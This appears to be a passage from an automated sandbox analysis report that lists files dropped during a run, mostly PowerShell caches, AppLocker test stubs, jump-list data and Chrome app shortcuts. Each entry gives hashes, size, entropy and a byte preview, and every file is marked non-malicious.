SSDEEP:	3:edYeYvlekGuAJkhvekl1HMH1oZ08llrekGltll/SPj:WzgltrxleVE00Je3l
MD5:	C7CB6C4210849F3B815831554431E8F0
SHA1:	8BA252ABE62B6F69EB0C00BBD951448AEE9939F9
SHA-256:	1FAFB7B960C31A4BFE2D246D950974F83CCAEDAA45C7FDDE54B414A4ECD9BFBA
SHA-512:	93163610BE190520D6C3E0EE211AC31674E266987BE20BF1C3F47EEA096C7C3111DFE64CFF758FB035819F252938DFD159707F955F37FA121B8CA2B648655B38
Malicious:	false
Preview:	#........................................;...{...:...\|.......{...............{.......{...XL......{....................i.:...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	3092
Entropy (8bit):	5.5109511240626246
Encrypted:	false
SSDEEP:	96:xEAzlHJTF9qrfIfl7KCDpuvJ5Eo9AdrxQgP:z1VarfPCluvLL2NP
MD5:	627897106459C76FCA0051E062EA4A85
SHA1:	BF5D99E1C887DF5FD128B29B6A853C46AF09B9D6
SHA-256:	76DAEAFB6ACF089A472A27A557979AB7966BB3EA1BD7F66C17BA34874CD70B93
SHA-512:	B32441F249791A325FB6082F7141ED3BB40CA07CB4AA91D78B23EB6D976C7E0B85F7249F30F9F0597EB115E5850213B4A9133DB5515D78C5FA8C14D8241903D3
Malicious:	false
Preview:	@...e................................................@..........H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation4.................%...K... ...........System.Xml..<...............i..VdqF...\|...........System.Configuration4.................0..~.J.R...L........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	5.400762516472989
Encrypted:	false
SSDEEP:	24:3ISKco4KmZjKbmuuod6emN1s4RPQoUxqr9t7J0gt/NKCpnd+9N9iagTNk:4SU4xymdojms4RIoUxqr9tK8NLpk9N9b
MD5:	D056062CB4E8D9E5A715BE1511ADC47A
SHA1:	1B7ED38789BC05D882362CC75963EE4A01734D09
SHA-256:	55C1D68882E0690D600EB27D5E696A7723A430AE7F1F54833019B283ACD098F1
SHA-512:	2CA63EA9EB32A3ACF07D09997290C80E0B7D6827DAD0E453A3BBBB54653589256AFB0D11135474E097E5D9EC9EB4E61DF691AFB68046C2F45C6B1ABE62FCEA21
Malicious:	false
Preview:	@...e................................................@..........@...............M6.]..O....PI.&........System.Web.Extensions...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.................0..~.J.R...L........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qtfngby.swe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0sj44sff.et5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2otiuygk.unc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2rjq3dxb.gjo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2wzhbj4r.eus.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_55sq5g0h.ryw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a5rnxymq.kiy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b5t1xczo.3np.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bpn5ovvh.dxr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_govtqkk0.2fn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_izswjccv.sm4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j4pwkcub.f0y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_na1xsmoe.v43.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z2yjwqbr.54z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zantpa52.wxd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zen2zgz5.kaw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RVWKF035IDWLR3KZJ7RZ.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4589
Entropy (8bit):	3.7741974933535727
Encrypted:	false
SSDEEP:	48:7NGM9a/KRfkHBkElzVSogZo6EHBkElIVSogZou1:7Nn9EHBkEyH8HBkE3H5
MD5:	55CAA580BFF30D7A572B9956E86B2A2F
SHA1:	84789CF6189DFF6718ABEFB851221A03D7C8683B
SHA-256:	3AD701C33A8C0ABDDEA27811481A58EAB6060CB1E4320DA5C653678A7CB5096E
SHA-512:	7F0DD72AD13DF19D44919A30DA65CEC9E18C39342F533C0EC5856CFB519BDB611B820975F9FC207729D793C8B5F042E86B80CE2FD3A45A89734F9254708F0AAF
Malicious:	false
Preview:	...................................FL..................F. .. ....qwr....ot..Y....:..Y..."............................P.O. .:i.....+00.:...:..,.LB.)...A&...&......O....../!Mt........Y.....j.2."...>YD. .SV6EQZ~1.LNK..N......DW"r>YD...........................nU..S.v.6.e.Q.Z.z.G.0.Z...l.n.k.......U...............-.......T.............\......C:\Users\user\Desktop\Sv6eQZzG0Z.lnk..3.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.`.......X.......302494...........hT..CrF.f4... .Zy2=.b...,...W..hT..CrF.f4... .Zy2=.b...,...W.........Y...1SPS.....Oh.....+'..=................R.u.n. .a.s. .A.d.m.i.n.i.s.t.r.a.t.o.r.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?...............................FL..................F.".. ...o1.Z.....3........"KW....@...........................P.O. .:i.....+00.../C:\...................V.1.....DW#r..Windows.@......OwH>YB.....3......................"..W.i.n.d.o.w.s.....Z.1.....>Y@...System32..B...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\cb777a0bab8c1b33.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4589
Entropy (8bit):	3.7741974933535727
Encrypted:	false
SSDEEP:	48:7NGM9a/KRfkHBkElzVSogZo6EHBkElIVSogZou1:7Nn9EHBkEyH8HBkE3H5
MD5:	55CAA580BFF30D7A572B9956E86B2A2F
SHA1:	84789CF6189DFF6718ABEFB851221A03D7C8683B
SHA-256:	3AD701C33A8C0ABDDEA27811481A58EAB6060CB1E4320DA5C653678A7CB5096E
SHA-512:	7F0DD72AD13DF19D44919A30DA65CEC9E18C39342F533C0EC5856CFB519BDB611B820975F9FC207729D793C8B5F042E86B80CE2FD3A45A89734F9254708F0AAF
Malicious:	false
Preview:	...................................FL..................F. .. ....qwr....ot..Y....:..Y..."............................P.O. .:i.....+00.:...:..,.LB.)...A&...&......O....../!Mt........Y.....j.2."...>YD. .SV6EQZ~1.LNK..N......DW"r>YD...........................nU..S.v.6.e.Q.Z.z.G.0.Z...l.n.k.......U...............-.......T.............\......C:\Users\user\Desktop\Sv6eQZzG0Z.lnk..3.%.P.r.o.g.r.a.m.F.i.l.e.s.%.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.`.......X.......302494...........hT..CrF.f4... .Zy2=.b...,...W..hT..CrF.f4... .Zy2=.b...,...W.........Y...1SPS.....Oh.....+'..=................R.u.n. .a.s. .A.d.m.i.n.i.s.t.r.a.t.o.r.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?...............................FL..................F.".. ...o1.Z.....3........"KW....@...........................P.O. .:i.....+00.../C:\...................V.1.....DW#r..Windows.@......OwH>YB.....3......................"..W.i.n.d.o.w.s.....Z.1.....>Y@...System32..B...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 30 15:58:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.975693364254317
Encrypted:	false
SSDEEP:	48:85dQTUsMHxidAKZdA19ehwiZUklqehry+3:8kvmky
MD5:	974056D86AAF99F242420E9AC21F80B6
SHA1:	ABD9995C870CD008E9DF6354456DBE70294C62A4
SHA-256:	D33D6FE758DA7FBDA4AB3A57274D3CA9D909EB39C76F5E0C3D2733D63936993D
SHA-512:	C39A0962D0376E9B7449991C38144E248B1A6D585EC57E90DB3A53751C160AF4EA13A60CF4B9B56E730FE91FFE6911AF7E00C7C7007CD074484C89161F06483F
Malicious:	false
Preview:	L..................F.@.. ...$+.,....y`..Y...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I>YE.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V>YE.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V>YE.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V>YE............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V>YG............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............\......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 30 15:58:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.991962367749216
Encrypted:	false
SSDEEP:	48:8QdQTUsMHxidAKZdA1weh/iZUkAQkqehUy+2:8Pvk9Qpy
MD5:	73014025CE0CBAA48E6FFFA23072F0E1
SHA1:	4C2A7F49430B775B5EEE8FE60AF9ABA244EF977A
SHA-256:	6C0BEA4EE2667EA8A426039669B64D47DD0B0612FB2532242AD3B2EDB5FC314E
SHA-512:	383EFB8FD335DA98D8622C8577CC4C2A9E495D736FC82C9CE4059FACFEDDF93370AB5C8E1FB09267AFB58A38B9A83480D85D231809D3918AB303584FA48D3CBF
Malicious:	false
Preview:	L..................F.@.. ...$+.,......~.Y...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I>YE.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V>YE.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V>YE.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V>YE............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V>YG............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............\......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.004539700315937
Encrypted:	false
SSDEEP:	48:8xddQTUssHxidAKZdA14tseh7sFiZUkmgqeh7siy+BX:8xgv8noy
MD5:	2046815C8F26DA85D1E6F959003FF74C
SHA1:	9502E15018CDBB0A01C5096541F732A3FD8DA734
SHA-256:	5DC21C3F31D282F6C9B73CE6387091E14C6D8AD182166A25A0C35D9353B67BD8
SHA-512:	63059B27D20885C8C7335D65E08981385C5CE5348DE1B6D07B138787FB8DAE992E2A91CBCA6FEE3C9F2618DDB7699B553D8720B2830E0472B79C5401EDDC29B4
Malicious:	false
